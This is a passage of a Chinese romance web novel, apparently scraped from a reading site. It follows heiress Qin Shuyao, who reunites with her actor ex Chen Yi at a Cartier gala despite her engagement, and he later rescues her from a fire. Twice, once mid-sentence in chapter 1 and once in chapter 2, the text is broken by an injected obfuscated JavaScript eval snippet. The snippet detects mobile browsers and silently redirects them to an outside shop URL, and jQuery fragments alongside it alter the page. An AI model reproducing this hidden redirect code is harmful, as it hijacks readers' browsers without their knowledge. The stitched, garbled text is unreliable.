《美艳男友等我离婚[豪门]》 1. 晚宴重逢 卡地亚的高珠晚宴开在有百年历史的林公馆。宴会七点半开始,但从六点一刻起就有嘉宾陆续到场。 七点二十八分,时间将近开场,宴会厅紧闭的大门为一位女士单独开启。 秦书窈穿着一身纯白礼服,颈间耳畔虽无一件与之呼应的配饰,仅凭骨子里透出的清冷高贵,就足矣艳压全场。 无需侍者引导,她便直奔卡地亚中华区总裁温岚身旁的c位而去。 温岚是她最好的朋友,也是她最信赖的合作伙伴,为了给闺蜜捧场,秦书窈每年在卡地亚的消费额都占vic榜首,c位属于她,无可非议。 秦书窈刚坐定,宴会厅内灯光便渐渐暗下来。 开场的钟声响起,骤然间,聚光灯同时照向后门。 她猜这阵仗是有什么嘉宾要进场,便也好奇地看向后门。 厚重华丽的木门徐徐打开,三位特邀嘉宾依次现身。 三位虽然是影视界名流,红毯水平却不输国际超模,尤其是压轴出场的新晋影帝,陈屹。 近乎九头身的身材比例,简直是行走的衣服架子,肩宽腰窄,走路时却又靠腰部发力,劲力十足,很容易引人浮想联翩。 秦书窈不经意抬眼,目光刚刚扫过他的腰间,就因为心跳太快仓皇收回。 她太熟悉他了,即便没有看到他的脸也能认出他。 她强装镇定,若有似无搅动着杯子里的咖啡,小匙却不受控制地屡屡碰到杯壁,发出叮叮当当的杂乱响声。 好在所有人的目光都被陈屹吸引,无人觉察到她慌乱的小动作。 陈屹即便不看脸只看身材也足够吸睛,可他偏偏还长了一张俊美至极的面孔,让人过目难忘,上百万高定珠宝佩戴在他身上,终究变成一件普通装饰品,显不出分毫珠宝原有的璀璨。 秦书窈一直等到陈屹落了座,才鼓起勇气抬头看他。 他的座位就在她正对面,她本可以堂而皇之地、用欣赏的目光细品他的绝世容颜,她却选择了一种既不体面又不符合身份的方式,偷瞄。 她眼神躲闪着,悄悄看他一眼便立刻挪移视线,可没过多久,心里就又痒痒的,忍不住再瞧他一眼。 她是秦氏集团董事长的独女,是当之无愧的继承人,她自出生起就拥有世间最美好的一切,健康,财富,美丽,她不会在任何人面前自卑,所以对任何人的爱都是既热烈又张扬,唯独对他…… 过去她把他当成上帝对她的补偿,一个心灵慰藉。 现在他是她可念而不可说的前任。 总之都不怎么拿得上台面。 秦书窈看着这个熟悉又陌生的男人,和端着红酒前来求合影的富婆粉丝说笑,心里很不是滋味。 她记得他说过,他最讨厌喝酒和应酬,可他现在正在做的就是陪人喝酒。 他的薄唇刚碰到冰凉酒水,舒展的眉头便下意识皱紧,看到这一幕的秦书窈更加确定自己的记忆没有出错。 看着他勉为其难的样子,她心疼不已,心里竟然冒出让温岚帮忙,给他换个不那么扎眼的位置的念头。 但她还没来得及开口,就听到对面响起一阵掌声,原来是给他敬酒的富婆直接预定一整套他戴的项链和胸针。 他身上佩戴的高定珠宝全款五百万,他作为品牌代言,光分成也能拿不少。 秒入上百万,这种赚钱效率就连她也做不到。 陈屹为感谢粉丝捧场,又爽快地干了半杯红酒。 而那些在他周遭围站的一圈美丽又多金的年轻女孩,看他举杯,也陪着他饮下杯中酒。 即便今晚真正的消费者是她们,在陈屹面前,这些人仍愿意摆出交朋友的态度,用尊重换真心。 她看着这一切不禁自嘲,是不是她太自作多情了一些,自以为很了解人家的喜好,实际上压根没摸透他的心,人家其实对这种应酬享受得很。 心头的苦涩从舌根开始蔓延,她咂咂嘴,口舌间的味道像刚吃了黄连,她不得不端起酒杯,也学他一饮而尽,拿辛辣的酒水掩盖酸苦。 温岚和她是一块长大,秦书窈的任何心思都逃不过她的眼睛。 温总用自己的酒杯碰了碰她的空杯:“看谁呢?” 她不耐烦地回答:“明知故问。” 温岚笑出声,故意凑到她耳旁:“要不要我把他叫过来陪陪你。” 秦书窈推开笑得不怀好意的温岚,气不过,又狠狠瞥她一眼。 就算她在见陈屹的第一眼时已经心动不已,表面上照旧还得装出漠不关心的样子:“你又不是不知道,我和周绍明订婚了,现在是有夫之妇,别乱开玩笑。” 温岚显然不信她说的鬼话:“你想好,过了这村可就没这店了,要不是因为今天是我的主场,我也没这么大的面子使唤他,喏,你也看见了,陈屹刚拿了金梅奖影帝,现在是春秋鼎盛,炙手可热。” 温岚说话的时候,她虽然没有继续盯着陈屹看,却也没看向温岚,而是一边摩挲手上的订婚戒指一边出神。 想好? 她当然得想好。 她答应和周家联姻,正是因为看中周家在京市的势力,他们秦家虽然有钱,但如果想拓展北方业务,必然少不了和京圈各位大佬打交道,如果有周家这座靠山,许多事情都会好办不少。 只是…… 她喜欢陈屹也是真的。 陈屹的眉眼和她早逝的竹马有九成像,就连她也会经常认错两人,恍惚间怀疑竹马并没有离开人世,还在她身边。 她把无名指上的素戒转了七八圈,最后一狠心,把戒指摘下来放进包里,叫上温岚陪自己出门透透气。 两人从后门走出宴会大厅,穿过一片露天泳池,走进公馆的后花园。 林公馆在建国后被私人收藏,公馆主人对其内外都进行重新修缮,唯独这片花园仍然保留着民国韵味,景色不输任何有名园林遗迹。 但秦书窈没有欣赏花园风景的心情,她的心,在看见陈屹的那一刻就彻底乱了。 信步走到喷泉池旁,见四下无人,她紧绷的神经才彻底放松下来,靠在池边抱怨温岚:“岚岚,你明明知道我要参加这次活动,你家有那么多代言人,为什么偏偏挑他,是故意给我添堵吗?” “名单是总部决定的,我哪儿有那么大的权利,再说,他的代言是上个月刚官宣的,新代言人尽快露脸也是应该的。” 温岚一边说,一边打量秦书窈的表情,看着她又气又恼的模样,突然笑出声来:“秦书窈,你不会真喜欢陈屹吧?五年前,咱俩去剧组探班,你第一次看见他就愣了好久,我还以为你是觉得他和你竹马长得像才这样,没想到你是真沦陷了?” “少胡说八道,我才没有。”秦书窈嘴上狡辩着,脸颊却由不住泛起红晕。 “要是没有,你怎么不敢让我叫他过来陪陪你?” 秦书窈矢口否认:“我是为了个人名誉和家族声誉,我现在可是有未婚夫的人,当然得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816527|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恪守妇道。” 温岚挨着她坐下,还像小时候一样,说话的时候喜欢用手肘戳她:“跟我还装?你和周绍明是商业联姻,你们俩又没有真感情。” “商业联姻怎么了,有真感情的夫妻,倒不一定比那些因为商业联姻在一起的夫妻关系稳定。” “这一点我不否认,但你愿意为了家族事业,彻底放弃感情吗?”说到这里,温岚的目光也暗了下来,“让死人复活是难,但想碰到一个和他容貌性格都相似的人,也不是件简单事。” 就算没有温岚的劝说,秦书窈的道心也早有所动摇。 这已经不是她第一次在陈屹身上举棋不定。 五年前,她在剧组第一次碰见他时就芳心大乱,送走温岚后,就在当地租了房子住下来,用着假名字秦瑶和普通女大学生的身份,开启全职追星。 陈屹被她的锲而不舍被打动,两人在一个雨夜一吻定情。 好景不长,她和陈屹的事很快传进她父母耳中。 父母逼她分手,她本想为爱反抗,但没过多久她就发现陈屹背着她和其他女演员幽会,她猛然醒悟,明白陈屹不过是因为心软才和她在一起,并不是真心喜欢她…… 她给他留下一封绝情至极的咒骂信,便直接人间蒸发,单方面分手。 她知道他不喜欢强势的女生,只喜欢能激发他保护欲的小白花。 很显然,她并不是这样的人。 所以她比任何人更清楚,就算没有地位财富上的巨大悬殊,她和陈屹压根不可能有未来。 急匆匆跑来的助理打断了秦书窈的思绪,助理把温岚叫了回去,说李太太正找她,温岚只好抛下闺蜜独自赶回宴会厅。 温岚一走,世界都安静下来,夜风仿佛也冷了几分,拂过秦书窈不着一缕的手臂和肩颈,送来阵阵凉意。 寒冷和寂寞同时涌上心头,她也不愿继续在花园里散心,打算转身回屋休息。 她刚绕到喷泉池的另一侧,一道高大的人影突然出现,吓得她险些摔倒。 对方似乎也没料到她会出现在这里,手里的酒杯一抖,杯中红酒尽数洒在秦小姐的纯白晚礼服上,留下一片刺眼的殷红。 她的心跳比眼睛更早认出对方是谁,他还没开口,她的心率就飙到呼吸急促的水平。 “我没看到这里有人。”听陈屹说话的口气,这一切像是无心之失,全然没有蓄谋已久的藻饰感,他看着手里的空杯和秦书窈身上的酒渍,慌张中略带手足无措,“你的裙子……真是对不起,竟然弄脏了你的礼服。秦小姐,我的房间就在楼上,如果你助理方便的话,可以把衣服送到我房间去换。” 秦书窈的理智在见到陈屹的那一瞬便彻底下线,即便隐隐觉察出他话里的逻辑漏洞,也没有追究下去。 她紧跟在他身后:“你房间在几楼?” “三楼。” “房间号是多少?” 他皱了皱眉,俊美的脸上露出一丝不悦:“等到了房间,你自然就会知道。” 她此刻的智商几乎为零,只能处理简单的问答,连委婉表达心中所想都做不到:“你不是说让我助理把衣服送过来吗?她赶过来也得花一点时间,我想先把房间号发给她。” “你就这么希望她早点过来吗?”他话里透露不爽,可身体却还很诚实地帮她提着裙边,免得她在上台阶时绊倒。 被他反问,秦书窈愈发不知该回答他什么,只能喃喃:“倒也不是……” 2. 旧情复燃 两人走进同一部电梯,狭小的空间使秦书窈不得不和陈屹并肩而立,站在他身旁,她甚至能闻到他身上淡淡的木质香。 这和他骨子里透出的书卷气十分契合。 陈屹的父亲是大学教授,母亲是舞蹈老师,陈屹算是娱乐圈里难得一见出身于书香门第的演员。 优秀的家风家教,使他行事作风和其他艺人大相径庭,入行十多年,才凭借一部无人看好的主旋律题材电影拿下金梅奖。 电梯停在三楼,他帮她提着裙边,带她走出电梯,向他房间走去。 他捏着她裙角的手,时不时会隔着衣物轻轻蹭到她大腿上。 还没做什么,她对他便已没有任何抵抗力,只想乖乖伏诛。 看他拿出房卡,过去种种暧昧亲热的画面充斥满秦书窈脑海。 房门被打开的一瞬间,热血瞬间涌上头顶,她激动到几乎站不稳,只好深吸口气闭上双眼,静候不该发生的孽缘降临…… 和她预想的故事截然不同! 他打开房门请她进门后,就把房卡交给她,自己却没半点要进门的意思,单手插兜站在门口,怎么看都像要先走一步。 孤男寡女半夜幽会,还没发生什么故事,他竟然就要走了? 如果只是为了换件衣服,她何必来他房间,明明直接去宴会厅旁的化妆间也可以。 她看着站在门口不肯进来的男人,对方的矜持和她刚才脑海里闪过的羞耻画面形成鲜明对比。他还没做什么,她便已经把持不住,这让素来被称冷面美人的秦小姐,把脸往哪儿放? 秦书窈恼羞成怒:“你叫我来你房间,只是为了方便我换衣服?” “秦小姐,不……现在应该叫你周太太,你我才刚认识,你觉得除了换衣服,我们还能做什么呢?” 陈屹云淡风轻的态度,让她愈发火大:“这里又没别人,你跟我假装什么陌生人?” 他的口气依旧平淡:“我没有假装不认识,只不过,我认识的女孩叫秦瑶,不叫秦书窈。” 听完他说的话,她简直不知该哭还是该笑。 他嘴上说着拒绝她的话,心里却还放不下她谎报身份的事,可她当时那么做,也是没办法的办法。 她父亲的名头太响,秦书窈的名字也曾被狗仔挖出来、挂上新闻头版几次,如果她不给自己编个假身份,恐怕和他连普通朋友也做不成。更何况,她还担心一旦他知道她的真实身份,会觊觎她的雄厚家产,先骗她的人,再骗她的心,最后骗光她的钱。 她拿出自己最真诚的目光望向他:“我有我的苦衷,你先进来,我和你慢慢解释。” 整座公馆都被卡地亚包下来,三楼总共只有五户入住,除了他们,剩下几位来宾恐怕都在宴会厅,就算大声喧哗也没外人听见。可秦书窈生性谨慎,还是拉着陈屹的手腕把人拽回房间。 她的手指不小心触碰到他的手背,温热的触感仿佛触电般,使她浑身发软,声音都不自觉低柔几分:“你进来嘛。” 他看似是被她拽进房门,实际上,当他踏入房间、关上房门的一瞬间,攻守就已易型。 他故意没有开灯,假装因为房间昏暗看不清方向,不小心搂住她的细腰,又不小心把人逼到墙角,最后在无意中解开领口的衣扣,露出精致的锁骨和呼之欲出的健壮胸膛。 “你想解释什么?” 她听着从头顶传来的低沉呼吸声,便腿软得站不住脚,只能靠深呼吸使自己保持冷静:“我……我不是故意要骗你,从小到大,但凡知道我身世的人,无一例外都对我心思不纯,我受够那种被人算计的生活了,我只想和你有一段很纯粹的感情。” 他和她站得很近,身体之间几乎严丝合缝相贴在一起,可他说话的语气照旧冷淡:“好,就算我相信你不是故意要骗我,那分手是怎么回事,我到底做错了什么,犯得上你在分手信里那么骂我?” 提起那封信,他冷漠的态度终于有一丝裂痕:“你骂我是渣男,是出卖色相的戏子,我都能接受,但你为什么骂我是骗子,我什么时候骗过你?” 她紧张得呼吸急促,想往后退缩,可身后便是冷冰冰的墙,退无可退:“你明明不喜欢我,还答应和我在一起,难道不是在欺骗我的感情?” “你怎么知道我没喜欢过你?” 她心尖一颤,空张了张嘴说不出话。 他俯下身把脸埋进她肩窝,环着她细腰的手也收紧,像要把她碾碎了揉进怀里:“你刚刚和温总说的话我都听到了。你虽然和周家订了婚,但过得并不快乐,你和他没有一点感情。你心里真正惦记的人是我,对吗?” 提起周家,秦书窈才恢复了一些理智,她掐着陈屹的手腕,试图掰开他的大手:“我和谁订婚、我心里惦记谁,这些事都和你没关系。” “你说的对,这些是和我没有关系,我也不在乎秦书窈和谁订婚,我在乎的人叫秦瑶。”他抱得愈发紧了,几乎勒得她呼吸不畅,“瑶瑶,再给我一次机会,让我全心全意爱你一次,我不在乎你是富贵还是贫穷,也不要男朋友的名分,我只要你的一点点真心。” 真心…… 在这个物欲横流的年代,真心是最不值钱的东西。 竟然还有人想要另一个人的真心? 她刚想嘲笑他,可嘴角还没扬起,胸口就闷闷发疼。 她想到了自己。 她又何尝不想要别人的真心,只是她想得到的那颗真心,早在十年前就停止了跳动,永远停在他的十八岁。 她刚刚恢复的理智,又在陈屹的猛烈攻势下荡然无存。 她松了手,不再死死掐着他的手腕,而是由着欲望驱使,用自己纤细手指沿着他的手臂一路向上抚摸,直到肩头,她刚想检验他这几年的健身成果,就被对方反手握住。 他引导着她搂住自己脖颈,不等她扶稳,便急不可耐地双手托起她的翘臀将人抱起。 两人身体由着惯性撞到一起,吓得她轻呼。 “陈屹,放我下来,我今天的裙子很沉。”她除了死死搂住他的脖颈,却连一点反抗的动作都不敢做,生怕他手一松,就被人摔在地上。 他像是看出她怕摔,故意松了松手吓唬她,等见她花容失色,才坏笑着吻了吻她脖颈:“我没你想的那么弱,抱你的力气还是有的。” 她的脖颈间的肌肤本就敏感,被他灼热的鼻息拂过,痒得不自觉蜷缩起来,低下头将脸埋进他怀里,贪婪地享受他结实的怀抱带来的温暖。 陈屹不仅和他长得像,就连身上淡淡的木质香也一模一样。 闭上眼,拥抱她的人仿佛是他。 清醒的沉沦最为痛苦。 她知道他像极了他,也知道他不是他。 她的他永远回不来了。 “奕哥哥……”她哽咽着呢喃。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他勾着嘴角,拉起她的手放在自己胸口:“我不想听这些,你只需要告诉我,你喜欢我吗?你是喜欢你的未婚夫周先生,还是更喜欢我?” “我不知道。”她声音颤抖着。 “是不知道,还是不敢说出答案?”他上前半步,便把她再次逼回墙边。 他将她压在墙上,一边轻轻送胯撩.拨她的欲.望,一边捧着她的脸颊要她看着自己:“你是怕承认喜欢我,坐实你对未婚夫用心不忠的事实。” 她被他磨得没了脾气,也没了力气,腿软得靠着墙边都站不稳,如果不是门铃声突然响起,她想她今晚恐怕就直接栽在他手里了。 门铃响了,响了三遍,像一盆冷水浇灭陈屹的兴致。 他让她回卧室等一会儿,他处理完门外的家伙就回去找她。 但等他刚走远,她的脑袋就清醒不少。 他逼问她到底爱谁的画面反复在她脑海里出现,使她没办法继续假装忘却现实,和他苟且贪欢一晌。 陈屹说得很对,她不敢承认自己更喜欢他,就是因为害怕坐实自己背叛的事实。 她就是个敢做不敢当的胆小鬼,她这种怂货没资格玩出.轨这种勇敢者的游戏。 艰难权衡一番之后,秦书窈决定放弃短暂快乐,不再放纵自己和陈屹这种没结果的人纠缠。 她不等他和门外人说完话,就进浴室换上浴袍,把脱下的礼服整进脏衣袋里,只等门外人一走,她就提着礼服一门心思要走,不管陈屹怎么劝说,都没能留得下她。 3. 白月光替身 秦书窈决定好的事,谁都无法改变,就连陈屹也不能。 他到底也没能留得下她。 等她走后,偌大的套间便只剩陈屹一人。 房间里竟然显得有些冷清。 他独自站在玄关处,看着手里的文件发呆,呼吸之间能嗅到的茉莉花香,是她走后留下的香气,闻着这阵花香心里莫名很是烦闷。 他其实并不喜欢她,现在是,过去也是。 当初选择和她在一起,不过是因为心太软。 他以为她只是一个还在上大学的学生,为了他这个娱乐圈查无此人的小演员远赴他乡,花了整个暑假的时间陪在他身边,他觉得自己如果不回报她些什么,心里总有些内疚,所以才选择答应她的表白,和她在一起。 至于分手的原因,他也心知肚明。 她才不是因为家里逼分手才离开的,而是因为在他手机里发现他和女同事约饭的短信,一气之下才留下一封唾骂他的分手信离家出走。 作为男友,他也尝试过他能想到的全部办法去联系她,但都不了了之,他觉得自己也尽到了男朋友的义务,便很快放下这件事,重新投入工作。 秦瑶这个名字,已有许久没有出现在他脑海里,没想到,再次相逢,却给他送来一个又一个重磅秘密。 原来他的前女友不是一个简简单单的女大学生,而是隐瞒身份的豪门千金。 原来她和他在一起也不是因为喜欢他,从始至终,她都把他当成她白月光裴奕然的替身而已! 如果不是看到助理送来的资料,他或许现在还蒙在鼓里。 当他在晚宴上看到秦书窈的第一眼,就敏锐觉察出这个女人和自己前女友秦瑶长得一模一样,心有好奇,便让助理尽快搜集秦书窈的全部资料。 助理的动作也很麻利,整理好资料便来他房间找他。 方才打断两人的敲门声就来自陈屹助理。 助理把资料交给他的同时,还交代了几句经纪人的话,大概的意思无外乎是秦家势力浩大,又和京市的周家联姻,两家都不是好招惹的人,就算秦小姐好色,也让他别轻易打秦书窈的主意,免得打不到狐狸惹得一身骚。 因为屋里还藏着一位不便露面的美女,他没空和助理花时间解释一切,简单应付几句就回了房间。实际上,他听了这话只觉得好笑,经纪人的担忧简直是无稽之谈,他要真想靠女人上位,早就傍过无数女大佬,吃尽流量时代红利,火得无法无边,而不是像现在这样,勤勤恳恳拍戏干活,硬靠自己的演技出圈。 没想到他刚一回去,秦书窈就要走,态度坚决至极,让他几乎怀疑酒店隔音是不是有问题,让她在门内就听到了助理和他说的话。 她要走,他想留也留不住,只能由她走了。 空荡荡的房间里便剩下他一个人。 他叹口气,随手翻开助理送来的资料。 “秦书窈,97年11月6日,出生于南京。” 他在心里盘算着,她虽然对他使用了假名字,但是生日和家乡倒没对他撒谎。 “本科毕业于复兴大学金融系,后赴美留学。” 秦书窈和他在一起时,像个生活不能自理的巨婴,他一度怀疑这女生的智商,没想到她还是复大的高材生。 “网上查不到秦小姐的感情史,只找到一位和她经常一起出现的男生。” 陈屹看着助理略带牢骚的留言,饶有兴趣地翻开下一页。 即便资料不是彩色打印,但对方的五官轮廓也足够让陈屹震惊。 他怎么也想不到,世界上竟然还有和他长得这么像的另一个男生,对方还是秦书窈的青梅竹马! 两人的合照多得吓人,从孩提时代到高中每个时期都有,照片里的两人,不是笑得灿烂,就是有一方偷看着另一方,像极了青春期偷偷恋爱的小情侣。 陈屹的心脏像被一只大手紧紧攥住,呼吸也变得缓慢而艰难。 他的目光扫得很快,掠过所有无关紧要的信息,直接落到最后。 “裴奕然,死于哮喘引发的呼吸衰竭。” 而裴奕然的忌日,刚好是他和她第一次见面的日子,5月19日。 猛然间,他不知该说什么,脑袋乱得理不出一点头绪,只能脱力地坐在玄关处的脚凳上,用双手反复揉搓自己的脸颊,让自己清醒一些,别对一个不该喜欢的女人上头。 他越是克制,脑海里便越会浮现出她的影子,她过往的一颦一笑,都成为他最痛苦的回忆。 原来她对他的所有温柔都是假的。 她对他一见钟情,是因为他和他长得极为相似。 她对他们第一次见面的日子久久难忘,是因为那是他的忌日。 就连他听了只觉得恶心的“屹哥哥”,叫的人原来也不是他,而是裴奕然。 他一直以为自己才是感情中的上位者,是他在高高在上地施舍一点怜爱给她,没想到,真正被玩弄感情的人是他自己! 他火冒三丈,可除了把手里的资料摔在地上,也没办法做什么,毕竟始作俑者秦小姐,此刻已经换好礼服,重新走进宴会厅。 在换衣服的时候,秦书窈还特意叫化妆师替自己补了补妆,不仅将哭过的泪痕遮掩一二,还替脖子肩颈重新补了粉底,免得亲热时留下的痕迹被有心之人发现。 她有贼心和陈屹偷.腥,但没贼胆把这段不光彩的事公之于众,就算有一天,有人要她在名声和陈屹之间做选择,她也会毫不犹豫选择前者。 只不过,她对自己的能力和陈屹的人品很有信心,她不会让事情走到那一步,而陈屹也不屑拿感情之事要挟她。 等她坐回位置上,和李太太谈完生意的温岚也刚好得空。 温岚像秦书窈肚子里的蛔虫,光从她喝茶的动作,就能看出她刚刚肯定做了什么坏事。 “见谁去了?”温岚俯身凑到她耳旁,把声音压到只有两人之间能听到的程度,“手别抖,被我看出来没什么,可万一被那帮鼻子比狗还灵的记者嗅出来,当心你和陈屹会上明天的娱乐头条。” 秦书窈一脸震惊,唰得扭头看向温岚:“你怎么知道……” “除了珠宝和他,今天晚上还有别的能吸引你注意力的东西吗?就算打翻酒水弄脏裙子,换件衣服也不至于消失这么长时间吧。”温岚坏笑着,把目光投向本来属于陈屹、当下却空无一人的位置,“你不在的这段时间里,他也不在。” 听着温岚逻辑缜密的分析,秦书窈也知道没什么狡辩的余地,虽然没认下来,也没反驳什么,而是故作深沉,低头抿了口茶。 温岚笑着问她:“怎么这么快就回来了,是那小子不给面子吗?” “没有。”秦书窈心虚道。 “没有,没有的意思就是很识趣咯?那你怎么这么早就回来了,居然没有好好把握一下。我可听说陈大影帝这么些年都没传过绯闻,好像连女朋友也没谈过,搞不好还是个处男。” “他要真是混迹娱乐圈半生,归来还是处男,那可真是个稀罕货,就算你不想尝尝咸淡我都有点好奇。”温岚刚说完,就笑得前仰后合。 这话不是她自己想的,是刚刚和她谈生意的李太太说的。 李太说看陈屹走路的姿势,八成连女人的滋味也没品尝过,所以他才只接些正剧,不演偶像剧,一个自己都没搞明白感情的人,怎么演得好感情戏呢? “别瞎猜了,他不是处,人家谈过女朋友。”秦书窈轻描淡写地回答,也没对这话做过多解释。 温岚敛起笑容:“不是处就算了,睡了也没意思。” 温岚的话勾起她些许不算美好的记忆。 其实……是处也不见得有意思,只是足够干净而已,某些人的前几次表现压根算不上好。 看着温岚总算不再给她和陈屹的关系添油加火,她也没必要自投罗网,揉揉太阳穴让自己别再陷入回忆:“岚岚,给我换个房间,我不想住在三楼。” “房间都是提前安排好的,你想换恐怕得找个愿意和你换房间的人才行。” “好,你把其他楼层的住客信息给我,我去联系。” 秦书窈的话音刚刚落下,陈屹便出现在门口,他明明从她的面前走过,却故意像路过一个陌生人一样,连头都没回一下。 秦书窈也默契地假装深沉,低头看着杯里的茶水,不吭一声。 温岚看着极为反常的两个人,一头雾水看向秦书窈:“你们俩刚刚到底发生什么事了?” 她叹口气:“没什么,就是突然想通了。替身再怎么样也只是替身,为了一个替身毁掉和周家的婚约,实在不值得。” 温岚看着秦书窈坚决的样子,就知道她是来真的,也不再嬉皮笑脸打趣她和陈屹,而是拍拍她肩膀,深沉道:“你想好的事我都无条件支持。” 晚宴进行到九点半,剩下的时间,都由嘉宾自由支配。 有些嘉宾到花园中享受夜景,有些还留在会场闲聊,秦书窈自然没心情四处闲逛,直接回了房间。 她之所以想换房间,就是因为她住在某人隔壁。一想到今夜和他只有一墙之隔,胸膛里刚熄灭的邪火,就又悄然死而复生。 为了防止自己胡思乱想,秦书窈睡得很早,强行控制思绪,既不发散到陈屹身上,也不复盘今夜发生过的事。如果她还是二十出头的年龄,就算再怎么收拢注意力,今晚恐怕都 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火焰是从楼下烧到客厅,又从客厅蔓延向她所在的卧室,她躺的床虽没被点燃,但出去的路却被火焰堵死了。 浓烟布满房间,呛得她喘不上气,她捂着口鼻勉强走到窗边,打开窗户的一瞬间,楼外的火焰随着风一同往房间里钻,逼得她只能紧闭门窗。 她虽然经历过不少大风大浪,可这种危及生命的还是头一次,即便她能控制自己的情绪,冷静下来向外界救援,但心底的恐惧却是无法消除的。 大火是从二楼的杂物间烧起来的,又因为公馆主体是木质建筑,火势蔓延得极快,等人们反应过来,秦书窈和楼下的几位保洁已经被困在房间里。 秦书窈的助理一听说着火就赶了过来,此刻就在楼下。助理不断安慰着她,告诉她很快就有人从楼外爬上三楼接她下来,等充气垫打好,她也能直接跳窗逃生。 她蜷缩在角落里,看着不断蔓延的火势,嘴上虽然还算乐观,心里却七上八下的,一想到自己今年犯太岁,更是泛起一阵没来由的忐忑。 她在心里默默盘算,公馆外种满树,充气垫压根没有放置的位置,楼外的火势比楼内还凶,跳楼逃生,恐怕还没裹着被子直接冲出客厅来得安全。 种种念头在她脑海里闪过,越想越烦躁,烦躁的念头随着浑浊的空气一同被吸进肺里,呛得她一个劲咳嗽,咳得喘不上气。 在血氧浓度逼近昏迷临界点的瞬间,她恍惚觉得,自己是不是真要被困死在这里了。 她,秦书窈,秦氏集团董事长独女,还是能撼动半个京圈的周家的儿媳,就算要死,也得死得轰轰烈烈,怎么能死得这么窝囊! 她拼命睁开双眼,使自己保持冷静和清醒。 屋外突然传来一声巨响,是房门被人强行破开的声音。 她战战兢兢望向门口,卧室房门也被人打开,一个穿着浴袍的英俊男人就站在门口。 狼狈的造型也无法掩盖精致五官散发出的硬帅,深邃双眼满是可靠的坚定,就连身后的火光也像在衬托他的坚毅。 在这等生死攸关的时刻,秦书窈一抬眼,竟又看呆了。 陈屹还没来得及换衣服,发现火势的第一时间就去找灭火器,以至于身上裸露着的小腿脚踝都被灼伤,洁白的真丝浴袍也留下焦黑烧痕。 她呆呆看着他,眼前的一切,就像她刚刚所做噩梦的延续。 但她没有梦里那样无情。 他向她走过来,她虽没回过神,仍旧抱紧双膝蜷缩在墙角,可也没有拒绝,任由他握着手腕把自己拽起来,便借着身体发软直接倒进他怀里。 他的怀抱比梦里的还要暖更结实,因为只穿着一件浴袍,她在不经意间就能触碰到他赤裸的胸膛。五年过去,他的身材不仅没有丝毫退步,反而更加精壮…… 她的心,砰砰直跳,比一睁眼看到自己置身火海时还要更快一点。 他没有嘲笑她的胆怯,反而把她紧紧搂在怀里,用自己的身体替她挡着火焰的灼热,一路将她护送到安全地方,等迎面碰到来救火的安保人员,才堪堪松手。 秦书窈惊魂未定,他温暖的怀抱几乎是她此刻唯一的慰藉,他一松手,她反倒很不适应,下意识伸手拽住他衣角:“别走。” 他嘴上说着不走,身体却很诚实地把她推开。 就算秦书窈不是一个敏感的女人,也能看得出他是什么意思——他是在和她划清界限。 她的眼神只在垂眸之间暗淡了一下,立刻又恢复平静,默默将自己眼角的湿润擦去,和陈屹道了声谢,后退半步刻意和他保持陌生人该有的社交距离。 4. 今天刚认识的朋友 等秦书窈在众人护送下平安走出公馆,她已恢复体面的平静,但从她的神态动作来看,觉察不出分毫紧张焦虑。 她虽然穿着睡衣,可任凭闻风而来的三四十家媒体怎样抓拍,都没拍到一张丑照。 跟在她身后三四步远的陈屹,和她相比,就显得有些狼狈。 浴袍上被火焰灼烫留下的痕迹暂且不提,身上也有多处烧伤,不得不被纱布包裹,头发也被烧焦几缕,看起来真正被困火场里的人倒像是他。 今晚的主角虽然是秦书窈,但媒体也没放过陈屹。 拿到一手内幕消息的文峰社记者,直接贴脸开大,问他和秦书窈是否之前就是好友,要不然怎么会在火灾事发的第一时间想着去救人,而不是赶紧逃生。 陈屹冠冕堂皇解释了几句,无外乎是生命诚可贵,在力所能及范围内救人,是每位公民的责任,话锋始终不着两人关系,故意逃避这个话题不提。 文峰社的记者没在陈屹口中探听到自己想要的新闻,贼心不死,一转头就拿着同样的问题去问秦书窈。 秦书窈说话比陈影帝干脆许多,直接说两人是今天晚宴上才认识,没想到初次相见,就欠了陈先生这么大的人情。 她的话无异于直接给两人关系定了调——秦书窈和陈屹是今晚认识的,之前只是陌路人。 陈屹站得离秦书窈并不远,她说话的时候,他其实也在侧耳倾听。 因为他和记者同样好奇这个问题的答案。 等听到她说两人“初次相识”,陈屹的目光怔了几秒,脸色渐渐凝重下来。 他作为一个没爱过她的前任,尚且能念及旧情,在她遇到危险的时候挺身而出,没想到她的心倒是硬,就算欠他一个救命之恩,也不肯给外界透漏丝毫他们之间的讯息。 哪怕说他们只是朋友…… 自从他得知在她心里只是姓裴的替身,他就再也没办法忍受她用充满爱意的眼神看着自己,刚才在楼道里故意疏远,并不是为了避嫌,而是他一看到她柔软示弱,像只小猫似的往自己怀里钻,他就会条件反射似的想到那个人。 他知道,她想埋的怀抱压根不是他的,而是那个和她家世相当,又是青梅竹马的裴奕然! 她在他面前温柔又痴情,可一到外人面前就像变了个人,对他冷漠至极,甚至拒不承认他们之前认识。 他想不明白,她是怎么做到在感情上如此收放自如,不留一点痕迹。 和她的体面相比,他因为念及旧情、冒着生命危险救她简直像是个笑话。 他听不进去任何提问,媒体手里的补光灯和手机,在他眼里变成点点模糊的光团,反倒秦书窈那张孤傲又美艳的脸,反复在光团之前浮现。 应付记者问答对秦书窈来说,犹如家常便饭,就算同时抛出七八个问题,她照样能条理清晰一一作答,今天的场面并不算大,所以她还有富裕的精力,分出来关心站在不远处的陈屹。 她看出他在记者问话时愣了许久,还以为他是身体不舒服,便立马叫保安清场,带着助理和陈屹先一步离开。 